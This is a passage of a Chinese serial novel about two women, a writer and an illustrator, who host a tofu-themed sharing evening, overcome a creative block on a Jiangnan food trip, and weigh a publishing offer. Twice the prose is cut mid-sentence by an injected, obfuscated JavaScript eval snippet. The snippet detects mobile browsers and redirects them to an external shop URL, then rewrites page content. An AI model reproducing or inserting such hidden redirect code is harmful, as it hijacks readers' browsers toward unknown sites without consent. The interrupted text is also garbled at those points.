“感谢大家今晚的到来。”霜莉开场,“这是‘寻常’组合的第一次正式分享会,也是《豆腐山林》的第一次完整展示。今晚不仅是我们分享作品,更是我们聆听反馈、与朋友们对话的机会。” 鸿雁接话:“‘寻常’的理念是寻找日常中的不寻常,通过创作与大家分享这些发现。今晚的分享会本身,也是这种理念的实践:在寻常的周五夜晚,寻找不寻常的创作交流和友谊连接。” 她们先简要介绍了“食味江湖”项目的缘起和理念,然后进入《豆腐山林》的分享。霜莉朗读了精选段落,鸿雁展示了配套插图,两人交替进行,像一场精心编排的二重奏。 霜莉朗读苏寻味寻找叶静心的段落时,声音里有着与人物同步的期待和不安;朗读豆腐挑战的段落时,语气中有着与人物同步的专注和坚持;朗读最终对话的段落时,语调中有着与人物同步的理解和释然。 鸿雁的展示则配合着文字的节奏:文字描述寻找时,画面是山林的幽深和道路的曲折;文字描述挑战时,画面是手的动作和豆腐的变化;文字描述对话时,画面是两人相对而坐的光影和神情。 投影屏幕上的文字和图像交替出现,有时并列,有时叠加,创造了一种阅读和观看的双重体验。客人们静静地聆听和观看,偶尔点头,偶尔微笑,完全沉浸在故事和画面中。 四十分钟的展示结束后,工作室里响起了真诚的掌声。不是礼貌性的,而是被打动后的自然反应。 “太美了。”霜莉的编辑林姐第一个开口,“不只是故事美,画面美,更是那种文字和图像的对话美。我从事出版这么多年,见过很多图文结合的作品,但很少见到这种深度的互补和共鸣。” 鸿雁的一位画家朋友说:“我最感兴趣的是你们的创作过程。那些‘即时对话’创作的场景,真的能感受到两种不同艺术语言在同一时刻的交流和碰撞。这让我思考自己是否可以与其他媒介的艺术家尝试类似合作。” 一位美食博主朋友关注的是食物描写:“霜莉的文字让食物的味道有了情感的温度,鸿雁的画面让食物的形态有了故事的分量。读完后,我不仅想吃豆腐,更想理解豆腐,理解食物背后的文化和人情。” 讨论环节持续了一个多小时。客人们提出了各种问题和反馈:关于人物设定的合理性,关于情节发展的逻辑,关于主题表达的深度,关于创作方法的可复制性,关于未来项目的方向。 有些问题很具体:“叶静心为什么选择豆腐而不是其他食材作为专攻?”有些问题很宏观:“‘食味江湖’最终想要达到什么样的文化影响?”有些问题很个人:“在合作中如何处理创作分歧?” 霜莉和鸿雁一一回应,坦诚分享她们的想法、困惑、尝试和收获。这不是一场完美的作品发布会,而是一次真实的创作交流,有成功的经验,也有未解的难题,有坚定的理念,也有开放的探索。 “我们不是已经有了所有答案。”霜莉坦诚地说,“‘食味江湖’是一个正在生长的项目,我们也在随着它一起成长。今晚的分享,不仅是为了展示成果,也是为了收集养分,让这个项目长得更好。” 鸿雁补充:“创作是孤独的,但分享让创作不再孤独。你们的反馈和问题,会成为我们未来创作的重要参考,也会成为我们继续前行的动力。” 分享会的高潮是体验环节。鸿雁准备了简易的豆腐制作工具:石磨、豆子、纱布、凝固剂。她简要演示了传统豆腐的制作过程,然后邀请客人们亲手尝试磨豆、滤浆、点卤。 “在《豆腐山林》中,苏寻味通过制作豆腐理解了专注和深度的意义。”鸿雁解释,“今晚,我们也通过亲手尝试,哪怕只是最简单的步骤,来体验食物制作中的耐心和用心。” 客人们兴致勃勃地参与。作家朋友惊讶于磨豆的费力,艺术家朋友着迷于豆浆变成豆花的过程,美食博主朋友专注于点卤的技巧。小小的豆腐制作体验,成为了理解故事的桥梁,也成为了连接彼此的纽带。 “我现在真正理解了苏寻味的挣扎。”一位尝试点卤失败的作家朋友笑着说,“这看起来简单,做起来真不容易。但失败后的理解,比成功后的享受更深刻。” 另一位成功做出豆花的艺术家朋友说:“这个体验让我理解了叶静心的哲学:深度不是知道理论,而是亲手实践;理解不是头脑认知,而是身体记忆。” 体验环节让分享会从理性的讨论进入了感性的共鸣。客人们不仅理解了故事,也体验了故事;不仅欣赏了创作,也参与了创作的核心精神。 晚上十点,分享会接近尾声。客人们带着自己制作的豆花(或豆腐渣)离开,还有每人一份《豆腐山林》的精选打印稿和插图明信片。 最后离开的是霜莉的编辑林姐。她留下来,与霜莉和鸿雁进行了简短的私下交流。 “我很喜欢这个项目。”林姐直言,“不只是因为作品质量,更是因为它的理念和潜力。如果你们有兴趣,我可以介绍一些出版资源。不是传统的图书出版,而是一个更整合的项目:图书、展览、工作坊、甚至纪录片。” 这个提议让霜莉和鸿雁都有些意外。她们创作“食味江湖”主要是出于兴趣和探索,还没有认真考虑过商业化和规模化。 “我们需要时间考虑。”霜莉谨慎地说,“‘食味江湖’还在早期阶段,我们想保持它的纯粹性和成长性,不被外部压力过早定型。” 鸿雁点头:“我们的创作节奏很慢,注重过程而非产出。商业合作可能会改变这种节奏和重心。” 林姐理解地点头:“我完全尊重你们的创作理念。我的建议不是要你们改变,而是提供一种可能性:当你们觉得合适的时候,有资源可以支持你们走得更远。不着急,等你们准备好了再说。” 送走林姐后,工作室恢复了安静。只剩下霜莉、鸿雁和两只已经睡着的宠物。两人开始收拾,动作缓慢,各自沉浸在今晚的体验中。 “感觉如何?”鸿雁打破沉默。 霜莉思考着:“比预期的好。大家的反馈真诚而深入,不仅肯定了我们的成果,也提出了有价值的建议。而且,亲手制作豆腐的体验环节,真的让分享会有了不一样的深度。” 鸿雁点头:“我也这么觉得。理论讨论很重要,但亲身实践更能建立深层的理解。这让我思考,未来的‘食味江湖’项目,是否可以加入更多体验元素:不仅是阅读和观看,也是品尝和制作。” 她们一边收拾一边讨论。分享会的成功给了她们信心,但也带来了新的思考:如何平衡创作的纯粹性和传播的广泛性?如何保持个人探索的自由和与读者对话的开放?如何在小范围的深度交流和大范围的广泛传播之间找到平衡? “也许我们可以保持双轨制。”霜莉提出,“一方面,继续我们小而深的创作和分享,像今晚这样的分享会,与核心读者和朋友的深度交流;另一方面,也可以尝试一些更广泛的传播,但保持我们的节奏和原则。” 鸿雁赞同:“就像叶静心和苏寻味的平衡:深度与广度,专注与探索,内在修炼与外在交流。我们可以同时进行,只要保持清醒,不被任何一方完全带走。” 收拾完毕,两人坐在工作室的地板上,分享最后的茶点。夜已深,但她们毫无睡意,心中充满了创作的兴奋和友谊的温暖。 “你知道吗,”霜莉轻声说,“今晚让我最感动的,不是大家对作品的赞美,而是大家对创作过程的好奇和理解。他们不仅关心我们产出了什么,更关心我们如何产出,为什么产出。” 鸿雁点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122856|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这让我们感到被真正地看见和理解。不是作为产品的生产者,而是作为探索的同行者,创作的实践者,思考的分享者。” 这种被理解的感觉,对创作者来说是珍贵的滋养。它确认了创作的意义,坚定了创作的方向,激发了创作的动力。 “下次分享会,我们可以尝试不同的形式。”鸿雁提议,“比如,围绕一个特定的主题:节令食物、地方小吃、饮食礼仪。不仅分享作品,也分享研究过程,甚至邀请嘉宾共同探讨。” 霜莉眼睛一亮:“比如,下次分享‘食味江湖’中的宴席文化主题。我们可以展示相关的故事和插图,同时邀请一位研究古代礼仪的朋友来分享,甚至准备一场小型的仿古宴席体验。” 这个想法让两人都兴奋起来。分享会不仅可以是作品的展示,也可以是创作的延伸,研究的深化,体验的丰富。它可以成为“食味江湖”项目的一个有机组成部分,而不仅仅是产出的发布渠道。 深夜,霜莉离开鸿雁家时,街道已经空无一人。但她心中却满是温暖的回响:朋友们的真诚反馈,亲手制作豆腐的专注体验,与鸿雁的深入讨论,对未来的清晰规划。 这次小范围分享会,不仅是一次成功的活动,更是一个重要的转折点:它让“寻常”组合从私人的创作探索,进入了半公共的创作交流;它让“食味江湖”从个人的想象世界,开始了与真实世界的对话;它让霜莉和鸿雁从创作的实践者,开始成为创作的分享者和引导者。 这是一个新的开始,也是一个新的挑战。但有了今晚的经验和信心,她们准备好了迎接这个挑战,探索这个开始。 到家后,霜莉在日记中详细记录了今晚的每一个细节,每一个反馈,每一个启发。然后,她写下: “今晚的分享会让我明白,创作不仅是产出作品,更是建立连接:与材料的连接,与主题的连接,与伙伴的连接,与读者的连接,与文化的连接,与时代的连接。” “而‘寻常’组合的意义,不仅在于我们产出了什么,更在于我们如何产出:在合作中对话,在探索中理解,在分享中连接,在创作中成长。” “感谢鸿雁,感谢朋友们,感谢‘食味江湖’,感谢所有让这次分享会成为可能的因素。而最要感谢的,是创作本身——它让我们成为更好的人,建立更深的连接,活出更丰富的生命。” 写到这里,霜莉停下来,看着窗外宁静的夜空。城市已经沉睡,但她的心中却有一个热闹的江湖:不仅有苏寻味和叶静心的对话,也有她和鸿雁的对话,有她们与朋友们的对话,有文字与图像的对话,有传统与现代的对话,有深度与广度的对话…… 这些对话交织成网,连接起人、事、物、时、空,构成了一个丰富而温暖的意义世界。 而她和鸿雁,有幸成为这个世界的创造者、记录者、分享者、参与者。 这,就是创作最美好的状态:不仅创造美,也被美创造;不仅理解世界,也被世界理解;不仅连接他人,也被他人连接。 明天,太阳照常升起,创作照常继续,对话照常展开,连接照常深化。 而她,准备好了。 带着今晚的温暖,带着朋友的鼓励,带着伙伴的支持,带着创作的信念,继续前行,继续探索,继续创作,继续分享。 在“食味江湖”的世界里,在“寻常”组合的旅程中,在文字与图像的对话里,在深度与广度的平衡中,在传统与现代的交汇处,在自我与他者的连接中。 继续。 一直继续。 因为创作不是终点,而是道路;不是答案,而是问题;不是完成,而是开始。 而她和鸿雁,已经走在这条路上,已经提出了这些问题,已经开始了这个开始。 前方,还有很长的路要走,还有很多的问题要问,还有很多的开始要开始。 但至少,今晚,她们知道,这条路是对的,这些问题是有价值的,这些开始是美好的。 这就够了。 足够让她们继续前行,继续探索,继续创作,继续分享。 在每一个寻常的日子里,寻找每一个不寻常的可能。 这就是“寻常”。 这就是她们。 这就是“食味江湖”。 这就是创作与友谊,最真实、最美好、最温暖的样子。 霜莉关掉台灯,在黑暗中微笑。 明天见。 20. 瓶颈与突破 《豆腐山林》发布后的一周,霜莉和鸿雁都感到一种创作后的空虚。项目完成了,反响很好,分享会成功了,但接下来呢?下一个“食味江湖”故事该写什么? 霜莉坐在书桌前,打开新文档,输入标题:《食味江湖·第三个故事》。光标闪烁了十分钟,她没有写出一个字。脑海中有几个模糊的想法:关于茶的故事?关于酒的故事?关于宴席的故事?但每个想法都感觉不够新鲜,不够深入,像是重复之前的模式。 鸿雁在工作室里也有类似的困境。她打开空白画布,想为下一个故事画概念图,但笔尖悬停在空中,不知从何下手。之前的插图系列已经建立了一定的风格和标准,她既不想简单重复,又担心创新会失去一致性。 周三创作会,两人见面时都带着明显的疲惫和迷茫。 “我卡住了。”霜莉坦白,“《豆腐山林》之后,我不知道该怎么继续。感觉那个故事已经表达了很多我想表达的东西:深度与广度,传统与现代,个人与传承。下一个故事如果只是换一个食材或场景,会不会显得重复?” 鸿雁点头:“我也有类似的感觉。我的插图风格在《豆腐山林》中达到了一个平衡点:既有传统的韵味,又有现代的表达。如果下一个故事还是类似风格,可能缺乏突破;如果完全不同,可能破坏‘食味江湖’的整体感。” 这是创作者常遇到的瓶颈:在某个项目达到一定高度后,如何超越自己?如何避免重复?如何找到新的创作动力和方向? 两人沉默地喝茶,工作室里只有咪咪和糯米玩耍的声音。阳光透过窗户,在地板上投下明亮的光斑,但照不进她们心中的迷茫。 “也许我们需要停下来。”鸿雁突然说,“不是停止创作,而是改变节奏。我们一直在一个接一个地创作项目,没有给自己足够的时间沉淀、吸收、反思。” 霜莉思考这个建议:“你是说,我们应该暂停‘食味江湖’的新项目,做一些完全不同的事情?” “或者,”鸿雁说,“我们可以做一次创作旅行。不是为某个具体项目收集素材,而是单纯地探索、观察、体验。让外界的新鲜刺激打破我们现在的思维定式。” 这个想法让霜莉心动。她们之前的调研都是目的明确的:为某个故事收集特定素材。但如果放下具体目标,只是开放地探索,可能会有意想不到的发现。 “去哪里?”霜莉问。 鸿雁站起来,走到墙上的中国地图前:“我们去江南怎么样?那里有丰富的美食文化,有深厚的历史底蕴,有独特的自然环境。而且离我们不远,可以做一个三到四天的短途旅行。” 霜莉也站起来,看着地图:“江南确实是个好选择。苏帮菜、淮扬菜、杭帮菜,茶文化、酒文化、糕点文化,古镇、水乡、园林……有太多可以探索的。” 她们决定下周出发,做一个四天三夜的江南美食文化之旅。没有具体的创作任务,只有简单的计划:每天去一个地方,开放地观察、品尝、记录。鸿雁带素描本和相机,霜莉带笔记本和录音笔,记录一切感兴趣的东西。 出发前的几天,她们简单规划了行程:第一天苏州,第二天无锡,第三天常州,第四天返回。没有详细的行程表,只确定了几个必去的地方:苏州的观前街老字号,无锡的太湖船菜,常州的传统糕点作坊。其余时间,随性探索。 “我们要允许自己迷路,允许自己浪费时间,允许自己发现计划外的东西。”鸿雁说,“旅行的意义不在于打卡多少地点,而在于有多少新的感受和思考。” 霜莉赞同:“就像创作一样,不在于产出多少作品,而在于有多少真实的体验和深刻的理解。” 旅行日到了。两人轻装简行,只带必要的物品和两只宠物——糯米和咪咪已经习惯了短途旅行,都有各自的旅行包。 第一站苏州。她们没有去热门的旅游景点,而是去了老城区的寻常巷弄。早餐在一家不起眼的面馆,吃的是传统的苏式汤面。面馆很小,只有五六张桌子,但生意很好,多是本地老人。 “这面看起来简单,但汤头很讲究。”鸿雁边吃边分析,“应该是用鸡骨、猪骨、鱼骨长时间熬制的,清澈但鲜美。面条细而有弹性,是手工拉的。浇头虽然简单,但处理得很精细。” 霜莉记录着这些观察,但不止于技术细节。她注意到面馆里的人际互动:老板娘记得每位老客人的喜好,不需多问就直接准备;老人们边吃边聊家常,像是每天的例行聚会;新客人会被仔细询问口味偏好,得到个性化的调整。 “这不只是一个面馆,也是一个社区中心。”霜莉在笔记本上写道,“食物不仅是营养和美味,也是社交的媒介,记忆的载体,身份的认同。” 早饭后,她们在老城区随意漫步。没有地图,没有目的地,只是跟着感觉走。经过一家茶社,听到里面传来评弹声,便进去坐坐。茶社里多是老人,一杯茶可以坐半天,听评弹,聊天,看报纸。 鸿雁画下了这个场景:老人们松弛的姿态,茶具的简朴,光线的柔和,时间的缓慢。霜莉记录下听到的对话片段:关于过去的回忆,关于现在的感慨,关于食物的偏好,关于生活的智慧。 “在现代社会,这样的空间越来越少了。”霜莉轻声说,“一切都追求效率和产出,但这里还保留着缓慢的节奏,深度的交流,闲适的态度。” 鸿雁点头:“这让我思考,‘食味江湖’中是否可以有这样一个地方:不是云间食肆那种治疗和启发的空间,而是一个纯粹的休息和交流空间,让人们慢下来,品味时间本身。” 这个想法为她们提供了新的创作方向:一个关于“慢”的故事,关于在快节奏的江湖中,保留一个慢空间的意义。 下午,她们去了一家传统糕点作坊,正赶上师傅制作苏式月饼。师傅已经七十多岁,但手法依然精准。他一边制作一边讲解:“苏式月饼的皮要起酥,但不能太碎;馅要饱满,但不能漏;烘烤要恰到好处,不能焦也不能生。” 但最打动她们的不是技术,而是师傅的态度。他做每一个月饼都像做第一个那样认真,不因为熟练而敷衍,不因为重复而机械。他说:“我做了一辈子月饼,但每次做还是觉得有新的东西可以学。面粉的湿度,天气的温度,手感的微妙变化……永远学不完。” 这种“终身学习”的态度让霜莉和鸿雁都深受触动。在创作中,她们有时也会因为熟练而陷入惯性,因为重复而失去新鲜感。但这位老师傅展示了另一种可能:在重复中寻找差异,在熟练中保持敏感,在传统中持续学习。 “下一站是太湖船菜。”霜莉在当天晚上的总结中说,“但今天的最大收获不是具体的美食,而是那些与美食相关的人、空间、时间、态度。” 鸿雁翻看今天的素描本:“我画了很多,但最重要的是那些非食物的画面:茶社的光影,巷弄的曲折,老人手的特写,时间的痕迹。这些可能不会直接成为某个故事的插图,但会间接影响我的视觉语言,让我看到更多,画得更深。” 第二天在无锡,她们体验了太湖船菜。不是旅游区那种表演性质的,而是真正的渔家菜:简单的烹饪方法,新鲜的湖鲜食材,质朴的用餐环境。船主是一对老夫妇,在太湖上生活了一辈子。 “我们吃的鱼,是我今早刚捕的。”老船主说,“蔬菜是岸上自己种的,豆腐是村里作坊买的。没有什么复杂的做法,就是清蒸、红烧、煮汤,吃的是食材本身的味道。” 鸿雁注意到一个细节:老船主捕鱼时,只取成年的,放生幼小的;只取足够的,不贪多。他说:“太湖养了我们一辈子,我们也要养太湖。取之有度,用之有节,这是祖辈传下来的规矩。” 这种可持续的理念让霜莉思考:在“食味江湖”中,是否可以有关于食物伦理的故事?不仅是技艺的传承,也是生态的智慧,是人与自然的平衡。 当天晚上,她们住在湖边的小客栈。夜深人静时,两人坐在湖边,看着月光下的太湖,听着细微的波浪声。 “旅行才两天,但我感觉已经打破了很多思维定式。”霜莉说,“我不再急着想下一个故事该写什么,而是开始思考故事背后的更根本的问题:食物与社区,时间与速度,传统与可持续,技艺与伦理……” 鸿雁点头:“我的视觉语言也在扩展。之前我主要关注食物的形态和制作的场景,但现在我开始关注更广阔的环境:自然景观,生活空间,人文氛围,时间流逝的痕迹。这些都会让我的画面更有深度和广度。” 第三天在常州,她们探访了几家传统糕点作坊。与苏州的精致不同,常州的糕点更质朴,更家常,但同样用心。在一家家庭作坊里,祖孙三代一起工作:祖母和面,母亲塑形,孙女装饰。 “我女儿大学学的是设计,”母亲自豪地说,“她回来后,把传统的糕点做出了新花样。看这个‘四季糕’,是她设计的,用天然食材的颜色,做出四季的变化。老顾客一开始不习惯,但尝过后都说好,特别是年轻人。” 这让霜莉看到传承的另一种可能:不是简单的代际传递,而是跨代的对话和创新。年轻人带来新的视野和方法,但基于对传统的理解和尊重;老一辈提供根基和经验,但开放于变化和尝试。 “在我们的‘食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122857|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味江湖’中,”霜莉构思,“可以有这样一个糕点世家故事:不是传统的师徒传承,而是家庭中的跨代对话,传统与现代的创造性融合。” 四天旅行很快结束。返回的火车上,两人没有多说话,各自整理着笔记和草图。但心中都清楚,这次旅行已经打破了创作瓶颈,打开了新的可能。 旅行带来的不是具体的故事点子,而是更根本的视角转变:从关注食物本身,到关注食物与人的关系、与社区的关系、与自然的关系、与时间的关系、与文化的关系、与伦理的关系。 “我想写一个关于‘慢食’的故事。”霜莉在旅行总结中说,“不是字面意义上的慢食运动,而是一个在快节奏江湖中,坚持慢节奏生活的厨师的故事。他可能不被理解,可能面临压力,但坚持自己的节奏和理念。” 鸿雁接话:“我可以画一个系列,表现‘快’与‘慢’的对比:江湖上的快节奏场景与慢空间中的宁静场景交替出现。不是评判快慢的对错,而是展现不同的生活节奏和选择。” 她们还构思了其他故事方向:关于食物伦理的江湖争议,关于跨代创新的家庭传承,关于社区空间的饮食文化,关于季节循环的自然智慧…… 瓶颈突破了,不是通过硬想,而是通过放开;不是通过努力,而是通过放松;不是通过专注,而是通过开放。 回到工作室,她们将旅行中的笔记、照片、草图整理成册,不是作为某个具体项目的素材,而是作为持续的灵感库。然后,她们决定暂时不急于开始新的大项目,而是先做一些小实验:短篇故事,单幅插图,散文随笔,创作手记。 “我们需要消化这次旅行的收获,”霜莉说,“让它自然地融入我们的创作血液,而不是急于把它转化为产品。” 鸿雁赞同:“就像好的食材需要时间发酵,好的灵感也需要时间沉淀。我们不着急,让下一个故事自然生长。” 那天晚上,霜莉在日记中写下这次旅行的核心领悟: “创作瓶颈往往不是灵感的枯竭,而是视角的固化;不是能力的不足,而是思维的局限。突破瓶颈的方法不是更努力地思考,而是更开放地体验;不是更专注地工作,而是更广泛地探索。 “这次旅行让我明白,‘食味江湖’不仅是一个虚构的世界,也是一个理解现实的透镜。通过构建这个江湖,我们实际上在探索现实世界中的根本问题:传统与现代,快与慢,人与社区,人与自然,技艺与伦理,个体与传承。 “而创作本身,也需要平衡:深度与广度,专注与开放,产出与吸收,工作与生活,个人与伙伴。 “感谢这次旅行,感谢鸿雁的提议,感谢江南的风物人情,感谢创作之路上的这次必要停顿。 “现在,瓶颈已破,道路重现。不是更窄的路,而是更宽的路;不是更明确的路,而是更多可能的路。 “我不着急选择哪条路。重要的是,我又有了走路的欲望,探索的好奇,创作的冲动。 “这就够了。 “明天,太阳照常升起,创作照常继续。但这一次,带着新的眼睛,新的心灵,新的理解,新的可能。 “缓慢而坚定地,继续前行。” 写到这里,霜莉合上日记本。窗外,城市的灯火依然闪烁,但她的心中已经有了江南的水色和山光,有了茶社的评弹和面馆的蒸汽,有了太湖的月光和糕点的香气,有了老人的智慧和年轻人的创新,有了快的节奏和慢的哲学。 这一切,都将成为“食味江湖”的养分,成为“寻常”组合的基石,成为她和鸿雁的创作基因。 瓶颈过去了,突破到来了。不是突然的灵感迸发,而是渐进的视角转变;不是单一的故事构想,而是多维的创作可能。 而她和鸿雁,已经准备好,迎接这个新的阶段,探索这些新的可能,继续这个漫长的创作旅程。 带着旅行的收获,带着友谊的温暖,带着创作的热爱,带着对世界的好奇。 继续。 一直继续。 因为创作不是终点,而是道路;不是答案,而是问题;不是完成,而是开始。 而现在,道路更宽了,问题更深了,开始更新了。 这,就是突破的意义。 这,就是创作的魅力。 这,就是生活和友谊,最真实、最美好、最温暖的样子。 霜莉关掉台灯,在黑暗中微笑。 明天见。 江南见。 江湖见。 在每一个新的创作日,在每一个新的探索中,在每一个新的故事里。 见。 21. 突如其来的机会 霜莉盯着邮箱里的那封邮件,读了三遍才确认自己没有理解错。邮件来自一家小型但口碑不错的出版社,主题是“关于《食味江湖》系列的合作意向”。 “鱿鱼,你快来看这个!”她朝工作室另一头的鸿雁喊道,声音里是压抑不住的激动。 鸿雁正在为下一幅插图调色,闻言放下画笔,走到霜莉身边:“怎么了?你中彩票了?” “比中彩票更好。”霜莉把电脑屏幕转向她,“出版社对《食味江湖》感兴趣,想谈谈出版合作。” 鸿雁弯下腰,仔细阅读邮件。邮件措辞专业而诚恳,发信人是出版社的策划编辑林悦,她表示通过“寻常”组合的博客关注到了《云间食肆》和《豆腐山林》系列,被作品独特的理念和精美的呈现所打动,认为这个系列有潜力做成一套精美的图文书籍。 “她希望约我们面谈,讨论出版的可能性。”霜莉指着邮件的最后一段,“看,她甚至还提了一些初步的想法:可以做一套三册,每册聚焦一个主题,文字和插图并重,装帧设计要精致有质感……” 鸿雁的眉头却微微皱起:“出版?这么快?我们才做了两个完整的故事。” “但质量足够好,不是吗?”霜莉的眼睛闪着光,“你看读者反馈,看分享会的反响,连林姐都说我们的作品有出版潜力。现在真的有出版社找上门了,这是机会啊!” 鸿雁沉默地回到自己的座位,重新拿起画笔,但没有继续画,只是无意识地在调色盘上搅动颜色。“我只是……没准备好。我以为‘食味江湖’会是我们长期的创作项目,慢慢做,不着急。出版意味着什么?截稿日期?市场压力?商业考量?” 霜莉走到她身边,语气缓和下来:“我知道你在担心什么。但出版不一定是坏事啊。可以让我们的作品被更多人看到,可以有一个更正式的载体,可以……” “可以被评判,被比较,被要求改变。”鸿雁打断她,声音里有一丝罕见的焦虑,“一旦进入商业体系,创作就不再纯粹了。他们会要求我们迎合市场,要求我们加快速度,要求我们妥协风格。” 霜莉在她旁边的椅子上坐下,认真地说:“我们不一定要完全接受他们的条件。我们可以谈判,可以坚持我们的理念。邮件里说了,林悦编辑欣赏的正是我们作品的独特性。也许她正是想保持这种独特性呢?” 鸿雁转头看着她:“你真的这么想?在商言商,出版社最终要的是销量。如果我们的作品不够商业化,他们可能会要求我们调整。你能接受为了出版而修改自己的故事吗?” 这个问题让霜莉犹豫了。她能接受吗?如果出版社说“这个人物不够讨喜”,她会改吗?如果要求“情节要更戏剧化”,她会妥协吗? 但她还是想尝试。“至少我们可以见一面,听听他们的具体想法。如果不合适,我们可以拒绝。但如果不尝试,我们永远不知道有没有更好的可能性。” 鸿雁看着霜莉眼中的期待,心中一阵矛盾。她知道霜莉对《食味江湖》倾注了多少心血,知道她希望作品能被更多人看到的心情。但她也清楚自己对创作纯粹性的坚持,对商业介入的警惕。 最终,她叹了口气:“好吧,我们可以见面谈谈。但我要明确几点:第一,我们不承诺任何事;第二,我们要保持创作的主导权;第三,如果感觉不对,我们要有随时退出的勇气。” 霜莉点头:“当然,这些原则我完全同意。那我现在回复邮件,约时间见面?” “你回复吧。”鸿雁站起来,走到窗前,“我需要一点时间消化这个消息。” 霜莉开始写回复邮件,手指在键盘上飞快敲击。她尽量保持语气专业而克制,但字里行间还是透露出兴奋。她提议下周在出版社附近的咖啡馆见面,这样环境比较轻松。 邮件发送后,她靠回椅背,长长地舒了一口气。工作室里安静下来,只有窗外偶尔传来的鸟鸣和城市模糊的背景音。咪咪跳到鸿雁脚边,蹭了蹭她的腿,然后蜷缩下来。糯米从书架上滑翔到霜莉肩头,吱吱叫了两声,像是在问发生了什么。 “你知道吗,”霜莉轻声说,更像是自言自语,“我写《云间食肆》的时候,从来没想过它会走向出版。我只是想写一个温暖的故事,关于食物,关于疗愈,关于人与人之间的连接。但现在,有机会让它变成一本书,放在书店里,被陌生人拿起来阅读……这感觉好奇妙。” 鸿雁依然看着窗外:“我明白你的感受。我的画被展出时,我也有类似的激动。但出版是另一回事,它不只是展示,还是商业,是产品,是商品。” “但它也可以是艺术。”霜莉说,“你看那些精美的画册,那些设计独特的书籍,它们既是商品,也是艺术品。我们的《食味江湖》可以成为那样的存在:有商业价值,但保持艺术品质。” 鸿雁转身,靠在窗台上:“你总是看到可能性,而我总是看到风险。这是我们的不同。” “但这也是我们的互补。”霜莉微笑,“你让我更谨慎,我让你更开放。我们在一起,才能做出最好的决定。” 这句话让鸿雁的表情柔和了一些。她走回工作台,看着那幅未完成的插图——是《豆腐山林》中苏寻味第一次成功做出豆腐的场景。画面中的苏寻味表情复杂:有成功的喜悦,有释然的轻松,也有对未来的不确定。 “她现在的表情,大概就像我现在的心情。”鸿雁指着画说,“有点高兴,有点害怕,不知道接下来会发生什么。” 霜莉走过来,看着那幅画:“但苏寻味还是继续前进了,不是吗?她接受了挑战,经历了失败,最终找到了自己的方向。我们也可以这样:接受这个机会,谨慎评估,然后做出对我们、对作品最好的选择。” 鸿雁沉默了一会儿,然后点点头:“你说得对。至少我们应该听听他们的想法。也许事情没有我想象的那么糟。” 接下来的几天,两人都在为见面做准备。霜莉整理了《食味江湖》的所有资料:故事大纲、已完成的作品、读者反馈、未来规划。鸿雁则挑选了最具代表性的插图,打印成册,还准备了一些原始草图,展示创作过程。 她们还一起讨论了可能在谈判中被问到的问题,以及她们的底线原则。霜莉列了一个清单: 1.保持创作自主权——不接受不符合作品理念的修改要求。 2.保持创作节奏——不接受不合理的截稿日期。 3.保持作品完整性——不接受拆分或重组破坏作品结构。 4.保持合作平等——不接受单方面的合同条款。 鸿雁补充了一条:“保持‘寻常’组合的独立性——不接受被包装成我们不是的样子。” 她们甚至预演了可能出现的困难对话。霜莉扮演出版社编辑,提出各种可能的要求;鸿雁则坚持她们的原则,寻找双方都能接受的方案。 “如果他们要求我们加入更多流行元素呢?”霜莉扮演编辑问道。 “我们会解释,《食味江湖》的魅力正在于它的独特性和深度,盲目跟风反而会失去核心读者。”鸿雁回答。 “如果要求加快出版节奏,比如一年出三册?” “我们会说明我们的创作需要时间沉淀,质量比速度更重要。可以协商一个合理的、尊重创作规律的时间表。” “如果对插图风格有不同意见?” “插图风格是作品不可分割的一部分,我们会坚持自己的艺术表达,但愿意听取专业的设计建议。” 预演让她们更有信心,但鸿雁心中的不安并没有完全消失。深夜,她独自在工作室里,看着墙上《食味江湖》的插图和设定图,感到一种复杂的情绪。 这些作品是她和霜莉心血的结晶,是她们友谊的见证,是她们创作理念的实践。一旦进入商业轨道,它们还会保持这种纯粹性吗?她们的合作还会这样自由而深入吗? 咪咪跳上工作台,用头蹭她的手,发出安慰的呼噜声。鸿雁轻轻摸着猫咪的毛,轻声说:“咪咪,妈妈有点害怕。如果出版改变了我们创作的方式,改变了我和霜莉的关系,那该怎么办?” 咪咪当然不会回答,只是继续发出满足的呼噜声。 另一边,霜莉也在自己的书房里难以入眠。她看着电脑屏幕上《食味江湖》的文件夹,里面有几十万字的故事,几百张草图,无数的笔记和构思。这个系列已经成为了她生活的一部分,她身份的一部分。 出版意味着认可,意味着作品有了更正式的存在形式,意味着她作为作者的某种“合法性”。但同时,也意味着责任、压力和可能的妥协。 糯米在她肩头睡着,小身体随着呼吸轻轻起伏。霜莉轻轻摸了摸它:“糯米,妈妈既兴奋又紧张。这是一个机会,但也是一个考验。我和鱿鱼能通过这个考验吗?我们的作品能保持初心吗?” 她想起《豆腐山林》中叶静心的话:“深度不是排斥广度,而是为广度提供根基。”也许出版就是她们的“广度”,而她们需要确保这个广度有足够的深度支撑。 见面日终于到了。霜莉和鸿雁提前半小时到达约定的咖啡馆,选了靠窗的安静位置。霜莉穿着比较正式的衬衫和长裤,鸿雁则保持她一贯的休闲风格,但洗掉了手上的颜料。 “你看起来比我还紧张。”霜莉注意到鸿雁频繁看向门口的动作。 “我只是不习惯这种正式场合。”鸿雁承认,“我宁愿在工作室里画画,或者去老街觅食。” 